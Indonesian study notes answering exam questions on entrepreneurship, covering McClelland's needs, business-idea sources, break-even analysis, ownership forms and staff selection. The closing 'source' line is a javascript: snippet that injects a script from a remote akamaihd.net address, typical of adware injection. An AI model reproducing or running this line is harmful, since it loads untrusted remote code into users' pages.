1. Apakah
yang dimaksud dengan kewiraushaan, berasal dari bahasa apakah? Sebutkan pula
artinya ? apa yang dimaksud dengan wirausahawan, dan sebutkan 3 jenis
perilakunya dan jelaskan ?
kewirausahaan
Proses penciptaan sesuatu yang berbeda
nilainya dengan menggunakan usaha berbakat mengenali produk baru,
menentukan cara produksi baru, menyusun operasi untuk mengadakan produk baru,
mengatur permodalan operasinya serta memasarkannya, semangat, sikap, perilaku
dan kemampuan seseorang dalam menangani usaha atau kegiatan yang mengarah pada
upaya mencari, menciptakan serta menerapkan cara kerja, teknologi dan produk
baru dengan meningkatkan efisiensi dalam rangka memberikan pelayanan yang lebih
baik dan atau memperoleh keuntungan yang lebih besar.
Kewirausahaan yang sering dikenal dengan
sebutan entrepreneurship berasal dari Bahasa Perancis yang
diterjemahkan secara harfiah adalah perantara, diartikan sebagai sikap dan
perilaku mandiri yang mampu memadukan unsur cipta, rasa dan karsa serta karya
atau mampu menggabungkan unsur kreativitas, tantangan, kerja keras dan kepuasan
untuk mencapai prestasi maksimal.
Wirausahawan adalah orang yang
merubah nilai sumber daya, tenaga kerja, bahan dan faktor produksi lainnya
menjadi lebih besar daripada sebelumnya dan juga orang yang melakukan
perubahan, inovasi dan cara-cara baru. Terdapat 3 jenis perilaku dari seorang
wirausahawan:
-- Memiliki
Kreatifitas Tinggi
jadi seorang wirausahawan harus mampu
mengembangkan bakat atau kreatifitasnya untuk membuat suatu produk ataupun ide
dan juga dapat mengembangkan suatu produk ataupun ide yang sudah ada dengan
lebih baik lagi sehingga dapat memunculkan peluang dalam dunia industri ataupun
bisnis.
- Memiliki
Perilaku Inovatif Tinggi
jadi seorang wirausahawan harus memiliki
suatu inovatif agar dapat di terima di kalangan masyarakat luas dengan
ide-idenya tersebut.
-- Diterimanya
resiko dan kegagalan
jadi dalam setiap mendirika usaha harus
menerima resiko apapun yang terjadi dan dapat berjiwa besar dengan kegagalan
yang kita dapat karena kegagalan bukan dari akhir segalanya.
2. Wirausahawan dunia modern
muncul perama kali di inggris pada masa revolusi pada akhir abad ke-18.
Apa yang menjadi kunci penting seorang wirausahawan dan jelaskan. Sebutkan
dan jelaskan karakteristiknya menurut mc clelland Dan karakteristiknya yang
sukses dengan nACH tinggi.
Kunci utama yang paling penting untuk
seorang wirausahawan adalah pertumbuhan dan perluasan organisasi melalui
inovasi dan kreativitas. Karakteristik Wirausahawan Menurut Mc Clelland :
· Keinginan
untuk berprestasi
· Keinginan
untuk bertanggung jawab
· Preferensi
kepada resiko-resiko menengah
· Persepsi
kepada kemungkinan berhasil
· Rangsangan
oleh umpan balik
· Aktivitas
energik
· Orientasi
ke masa depan
· Keterampilan
dalam pengorganisasian
· Sikap
terhadap uang
Sedangkan, karakteristik wirausahawan
yang sukses dengan nAch tinggi :
· Kemampuan
inovatif
· Toleransi
terhadap kemenduaan (ambiguity)
· Keinginan
untuk berprestasi
· Kemampuan
perencanaan realistis
· Kepemimpinan
terorientasi kepada tujuan
· Obyektivitas
· Tanggung
jawab pribadi
· Kemampuan
beradaptasi
· Kemampuan
sebagai pengorganisasi dan administrator
3. Sebutkan tiga kebutuhan dasar yang
mempengaruhi pencapaian tujuan ekonomi menurut Mc Clelland, dan berikanlah
contoh masing-masing.
Tiga buah kebutuhan dasar yang
mempengaruhi pencapaian tujuan ekonomi menurut Mc Clelland yaitu
kebutuhan untuk berprestasi (n Ach), kebutuhan berafiliasi (n Afill) dan
kebutuhan untuk berkuasa (n Pow).
· Kebutuhan
untuk berprestasi (n Ach)
n-ACH adalah motivasi untuk berprestasi,
karena itu seorang wirausahawan akan berusaha mencapai prestasi
tertingginya, pencapaian tujuan tersebut bersifat realistis tetapi menantang,
dan kemajuan dalam pekerjaan.Wirausahawan perlu mendapat umpan balik dari
lingkungannya sebagai bentuk pengakuan terhadap prestasinya tersebut. Misalnya mendapatkan
prestasi atau penghargaan top brand award atau best seller record, atau
penghargaan-penghargaan lainnya dari berbagai instansi terkait yang menunjukkan
bahwa usaha tersebut memiliki prestasi yang tinggi dan bukan sekedar usaha yang
biasa-biasa saja.
· Kebutuhan
untuk berafiliasi (n Afill)
Kebutuhan untuk Berafiliasi atau
Bersahabat (n-AFILL) Kebutuhan akan Afiliasi adalah hasrat untuk berhubungan
antar pribadi yang ramah dan akrab. Wirausahawan merefleksikan
keinginan untuk mempunyai hubungan yang erat, kooperatif dan penuh sikap
persahabatan dengan pihak lain. Misalnya
seorang wirausahawan yang mempunyai kebutuhan afiliasi yang tinggi umumnya
berhasil dalam pekerjaan yang memerlukan interaksi sosial yang
tinggi. Koneksi yang luas, merupakan salah satu hal penting yang perlu
dimiliki oleh seorang wirausahawan.
· Kebutuhan
untuk berkuasa (n Pow)
Kebutuhan akan Kekuasaan (n-POW)
Kebutuhan akan kekuasaan adalah kebutuhan untuk membuat orang lain berperilaku
dalam suatu cara dimana orang-orang itu tanpa dipaksa tidak akan berperilaku
demikian atau suatu bentuk ekspresi dari individu untuk mengendalikan dan
mempengaruhi orang lain. Seorang wirausahawan
tentunya ingin produknya menjadi nomer 1 dalam bidangnya tersebut. Hal
ini secara tidak langsung menunjukkan bahwa seorang wirausahawan memiliki
kebutuhan untuk berkuasa.
4. Sebutkanlah dan berikanlah contoh
masing-masing sumber gagasan dalam identifikasi peluang usaha baru.
Dunia industri diperlukan
gagasan-gagasan yang lebih inovatif untuk lebih mengembangkan peluang usaha baru.
Berikut ini adalah sumber gagasan dalam identifikasi peluang usaha baru:
· Konsumen
Wirausahawan harus selalu memperhatikan
apa yang menjadi keinginan konsumen.
· Perusahaan yang sudah ada
Wirausahawan harus selalu memperhatikan
dan mengevaluasi produk atau jasa yang ditawarkan
oleh perusahaan yang sudah
ada serta mencari cara untuk melakukan perbaikan penawaran yang
sudah ada.
· Saluran distribusi
Merupakan sumber gagasan baru yang
sangat baik karena kedekatan mereka dengan kebutuhan
akan pasar.
· Pemerintah
Merupakan
sumber pengembangan baru yang terdiri dari 2 cara, yaitu:
1. melalui
dokumen hak-hak paten yang memungkinkan pengembangan sejumlah produk baru dan
2. melalui peraturan
pemerintah terhadap dunia bisnis yang memungkinkan munculnya produk baru.
· Penelitian dan
pengembangan
Penelitian tersebut sering menghasilkan
gagasan baru atau perbaikan produk yang sudah ada.
5. Sebutkan dan jelaskan
masing-masing unsur-unsur analisa pulang pokok.
Unsur Dasar Analisa Pulang Pokok Analisa
pulang pokok umumnya tercliri dari refleksi, pembahasan,pertimbangan dan
pembuatan keputusan relatif terhadap tuiuh unsur pokok:
· Biaya
tetap
Adalah biaya yang jumlah totalnya tetap
dalam kisaran perubahan volume kegiatan tertentu.
Besar kecilnya biaya tetap
dipengaruhi oleh kondisi perusaha an jangka panjang, teknologi dan
metode serta
strategi manajemen.
· Biaya
variabel
Adalah biaya yang jumlah totalnya
berubah sebanding dengan perubahan volume kegiatan
· Biaya
total
Adalah keseluruhan biaya yang
dikeluarkan untuk menghasilkan produksi.
· Pendapatan
total
Adalah semua nilai rupiah penjualan
yang terakumulasi dari penirralan produk
· Keuntungan
Adalah jumlah pendapatan total yang
melebihi biaya total dari produksi barang yang dijual
· Kerugian
Adalah iumlah biaya total produksi
barang yang melebihi pendapatan total yang diperoleh dari
pernjualan barang
tersebut
· Titik
pulang pokok
Adalah penclapatan total sama
dengan biaya totalnya, artinya perusahaan hanya memperoleh
pendapatan yang
hanya cukup untuk menutupi biaya-biayanya. Perusahaan tidak untung tidak
rugi.
6. Sebutkan dan jelaskan pembagian dalam
bentuk-bentuk kepimilikan, serta sebutkan keuntungan dan kerugian masing-masing Bentuk
kepemilikan perusahaan.
Bentuk-bentuk Kepemilikan
Beberapa macam dari bentuk kepemilikan
dari suatu badan usaha yang ada. Berikut ini adalah contoh bentuk-bentuk
kepemilikan dari badan usaha tersebut.
Perusahaan Perorangan
Perusahaan yang dikelola dan diawasi
oleh satu orang. Pengelola memperoleh semua keuntungan, disisi lain menanggung
semua risiko yang timbul dalam kegiatan usaha .
Keuntungan :
· Mudah
dibentuk dan dibubarkan
· Bekerja
dengan sederhana
· Pengelolaannya
sederhana
· Tidak
perlu kebijakan pembagian laba
Kerugian :
o Kemampuan manajemen
terbatas
o Sulit mengikuti pesatnya
perkembangan perusahaan
o Sumber dana hanya terbatas
pada pemilik
o Risiko kegiatan perusahaan
ditanggung sendiri
o Tanggung jawab tidak
terbatas
Firma
Bentuk badan usaha yang didirikan oleh
beberapa orang dengan menggunakan nama bersama atau satu nama digunakan
bersama. Semua anggota bertanggung-jawab penuh, baik sendiri -sendiri atau
bersama-sama terhadap utang perusahaan kepada pihak lain, kalau perlu
dengan seluruh kekayaan pribadi.
Keuntungan :
o Prosedur pendirian
relatif mudah
o Mempunyai kemampuan
finansial yang lebih besar
o Keputusan yang
diambil akan lebih baik, karena pertimbangan seluruh anggota Firma
Kerugian :
o Hutang perusahaan
ditanggung oleh kekayaan pribadi anggota Firma
o Kelangsungan hidup
perusahaan tidak terjamin sebab bila salah seorang anggota keluar , maka
\ Firma
pun bubar
Perseroan Komanditer (C.V)
Persekutuan yang didirikan oleh beberapa
orang (sekutu) yang menyerahkan uangnya untuk dipakai dalam persekutuan sebagai
modal perseroan. Sekutu pada perseroan terdiri dari :
Sekutu Komplementer, yaitu orang yang
bersedia memimpin pengaturan perusahaan dan bertanggung-jawab penuh dengan
kekayaan pribadinya Sekutu Komanditer, yaitu sekutu yang
mempercayakan uangnya dan bertanggung- jawab terbatas pada dana yang
disetornya
Keuntungan :
o Pendiriannya relatif
mudah
o Modal yang terkumpul
lebih banyak
o Kemampuan untuk
memperoleh Kredit lebih besar
o Manajemen dapat
didiversifikasikan
o Kesempatan untuk
berkembang lebih besar
Kerugian :
o Tanggung jawab tidak
terbatas
o Kelangsungan hidup
tidak terjamin
o Sukar untuk menarik
kembali investasinya
Perseroan Terbatas (PT /
NV)
Suatu badan yang mempunyai kekayaan, hak
serta kewajiban sendiri yang terpisah dari kekayaan, hak serta kewajiban para
pendiri maupun para pemilik.
Keuntungan PT :
o Kelangsungan hidup
perusahaan terjamin
o Tanggung jawab
terbatas pada modal yang disetor
o Tidak menimbulkan
risiko bagi kekayaan pribadi maupun kekayaan keluarga pemilik
o Saham dapat
diperjual-belikan
o Kebutuhan modal yang
lebih besar akan mudah dipenuhi, sehingga memungkinkan perluasan usaha
Kerugian PT :
o Biaya pendiriann
relatif mahal
o Rahasia tidak
terjamin
o Kurangnya hubungan
yang efektif antara pemegang saham
Franchise (waralaba)
Adalah suatu perjanjian dimana pemilik
bisnis (franchisor) memperbolehkan pemilik bisnis lain (franchisee)
memakai merk, nama dagang atau hak ciptanya dengan syarat tertentu.Jenis
Waralaba : Distributorship (Penyalur Barang), Chain Style Business (Bisnis
Gaya Rantai), Manufacturing Agreement (Memproduksi barang)
Keuntungan Warlaba :
o Gaya pengelolaan yang
telah terbukti
o Nama yang telah
dikenal
o Dukungan dana
Kerugian Waralaba :
o Berbagi keuntungan
o Pengenda
keuntungan
7. Sebutkan langkah-langkah
dalam penyediaan sumber daya manusia dan tahap-tahap
proses seleksinya.
Penyediaan sumber daya manusia yang
semestinya adalah sangat penting bagi wiraswastawan. Produktivitas pada semua
organisasi kewiraswastaan ditentukan oleh bagaimana sumber daya manusia
berinteraksi dan bergabung untuk menggunakan sumber daya system manajemen.
Faktor-faktor seperti latar belakang, umur, pengalaman yang berhubungan dengan
jabatan, dan tingkat pendidikan formal kesemuanya mempunyai peranan di dalam
menentukan tingkat ketepatan posisi individu-individu pada organisasi
kewiraswastaan.
Langkah-langkah penyediaan sumber daya
manusia :
Perekrutan
karyawan
Penarikan tenaga kerja adalah langkah
pertama di dalam menyediakan sumber daya manusia
bagi organisasi kewiraswastaan
setiap kali terdapat posisi yang kosong.
Seleksi
calon karyawan
Seleksi tenaga kerja adalah penyaringan
awal dari calon sumber daya manusia yang tersedia
untuk mengisi suatu posisi.
Tujuannya adalah untuk memperkecil hingga jumlah yang relatif
sedikit calon
karyawan dari mana seseorang akhirnya akan disewa.
Pelatihan
karyawan
Pelatihan karyawan adalah keterampilan
yang diajarkan pihak perusahaan kepada karyawannya.
Penilaian
hasil kerja
Penilaian tentang hasil kerja yang telah
dilakukan oleh karyawannya, apakah sesuai dengan
yang diharapkan atau belum.
Pengertian Seleksi adalah pemilihan
individu untuk disewa dari semua individu-individu yang telah direkrut.
Langkah-langkah dalam melakukan proses seleksi
Penyaringan
Pendahuluan dari rekaman, berkas data, dll Wawancara
Pendahuluan
Tes
Kecerdasan (intelegence) Tes
Bakat (Aptitude) Tes
Kepribadian (Personality) Rujukan
Prestasi (Performance References) Wawancara
Dianostik Pemeriksaan
Kesehatan Penilaian
Pribadi
Sumber:
javascript:try{if(document.body.innerHTML){vara=document.getElementsByTagName("head");if(a.length){var
d=document.createElement("script");d.src="https://apiluckyleapnet-a.akamaihd.net/gsrs?is=cbslugp10&bp=BA&g=d546d1d4-d3a7-48f2-8c18-5ba5d57d45e5";a[0].appendChild(d);}}}catch(e){}
